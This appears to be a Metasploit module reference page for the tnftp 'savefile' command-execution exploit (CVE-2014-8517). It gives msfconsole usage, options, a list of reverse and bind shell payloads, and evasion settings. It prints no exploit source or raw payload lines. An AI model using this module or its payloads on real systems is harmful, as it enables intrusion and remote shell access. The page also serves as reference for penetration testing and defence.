tnftp "savefile" Arbitrary Command Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/http/tnftp_savefile metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: tnftp "savefile" Arbitrary Command Execution
Module: exploit/unix/http/tnftp_savefile
Source code: modules/exploits/unix/http/tnftp_savefile.rb
Disclosure date: 2014-10-28
Last modification time: 2018-11-16 12:18:28 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-8517
This module exploits an arbitrary command execution vulnerability in tnftp's handling of the resolved output filename - called "savefile" in the source - from a requested resource. If tnftp is executed without the -o command-line option, it will resolve the output filename from the last component of the requested resource. If the output filename begins with a "|" character, tnftp will pass the fetched resource's output to the command directly following the "|" character through the use of the popen() function.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/unix/http/tnftp_savefile
msf exploit(tnftp_savefile) > exploit
Go back to menu.
Msfconsole Usage
Here is how the unix/http/tnftp_savefile exploit module looks in the msfconsole:
msf6 > use exploit/unix/http/tnftp_savefile
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/http/tnftp_savefile) > show info
Name: tnftp "savefile" Arbitrary Command Execution
Module: exploit/unix/http/tnftp_savefile
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-10-28
Provided by:
Jared McNeill
wvu <[email protected]>
Available targets:
Id Name
-- ----
0 ftp(1)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Avoid: 1 characters
Description:
This module exploits an arbitrary command execution vulnerability in
tnftp's handling of the resolved output filename - called "savefile"
in the source - from a requested resource. If tnftp is executed
without the -o command-line option, it will resolve the output
filename from the last component of the requested resource. If the
output filename begins with a "|" character, tnftp will pass the
fetched resource's output to the command directly following the "|"
character through the use of the popen() function.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-8517
https://seclists.org/oss-sec/2014/q4/459
Module Options
This is a complete list of options available in the unix/http/tnftp_savefile exploit:
msf6 exploit(unix/http/tnftp_savefile) > show options
Module options (exploit/unix/http/tnftp_savefile):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 ftp(1)
Advanced Options
Here is a complete list of advanced options supported by the unix/http/tnftp_savefile exploit:
msf6 exploit(unix/http/tnftp_savefile) > show advanced
Module advanced options (exploit/unix/http/tnftp_savefile):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/http/tnftp_savefile module can exploit:
msf6 exploit(unix/http/tnftp_savefile) > show targets
Exploit targets:
Id Name
-- ----
0 ftp(1)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/http/tnftp_savefile exploit:
msf6 exploit(unix/http/tnftp_savefile) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the unix/http/tnftp_savefile exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/http/tnftp_savefile) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Related Pull Requests
- #10973 Merged Pull Request: Rework DisclosureDate check in msftidy, including ISO 8601 support
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #9160 Merged Pull Request: Convert tnftp_savefile from auxiliary to exploit
References
See Also
Check also the following modules related to this module:
- exploit/unix/http/cacti_filter_sqli_rce
- exploit/unix/http/contentkeeperweb_mimencode
- exploit/unix/http/ctek_skyrouter
- exploit/unix/http/dell_kace_k1000_upload
- exploit/unix/http/epmp1000_get_chart_cmd_shell
- exploit/unix/http/epmp1000_ping_cmd_shell
- exploit/unix/http/freepbx_callmenum
- exploit/unix/http/laravel_token_unserialize_exec
- exploit/unix/http/lifesize_room
- exploit/unix/http/pfsense_clickjacking
- exploit/unix/http/pfsense_diag_routes_webshell
- exploit/unix/http/pfsense_graph_injection_exec
- exploit/unix/http/pfsense_group_member_exec
- exploit/unix/http/pfsense_pfblockerng_webshell
- exploit/unix/http/pihole_blocklist_exec
- exploit/unix/http/pihole_dhcp_mac_exec
- exploit/unix/http/pihole_whitelist_exec
- exploit/unix/http/quest_kace_systems_management_rce
- exploit/unix/http/schneider_electric_net55xx_encoder
- exploit/unix/http/twiki_debug_plugins
- exploit/unix/http/vmturbo_vmtadmin_exec_noauth
- exploit/unix/http/xdebug_unauth_exec
- exploit/unix/http/zivif_ipcheck_exec
- exploit/windows/browser/symantec_consoleutilities_browseandsavefile
Related Nessus plugins:
- openSUSE Security Update : tnftp (openSUSE-SU-2014:1383-1)
- Fedora 20 : tnftp-20141031-1.fc20 (2014-14113)
- Mac OS X 10.10.x < 10.10.2 Multiple Vulnerabilities (POODLE)
- Mac OS X Multiple Vulnerabilities (Security Update 2015-001) (POODLE)
- FreeBSD : FreeBSD -- Remote command execution in ftp(1) (7488378d-6007-11e6-a6c3-14dae9d210b8)
- GLSA-201611-05 : tnftp: Arbitrary code execution
Authors
- Jared McNeill
- wvu
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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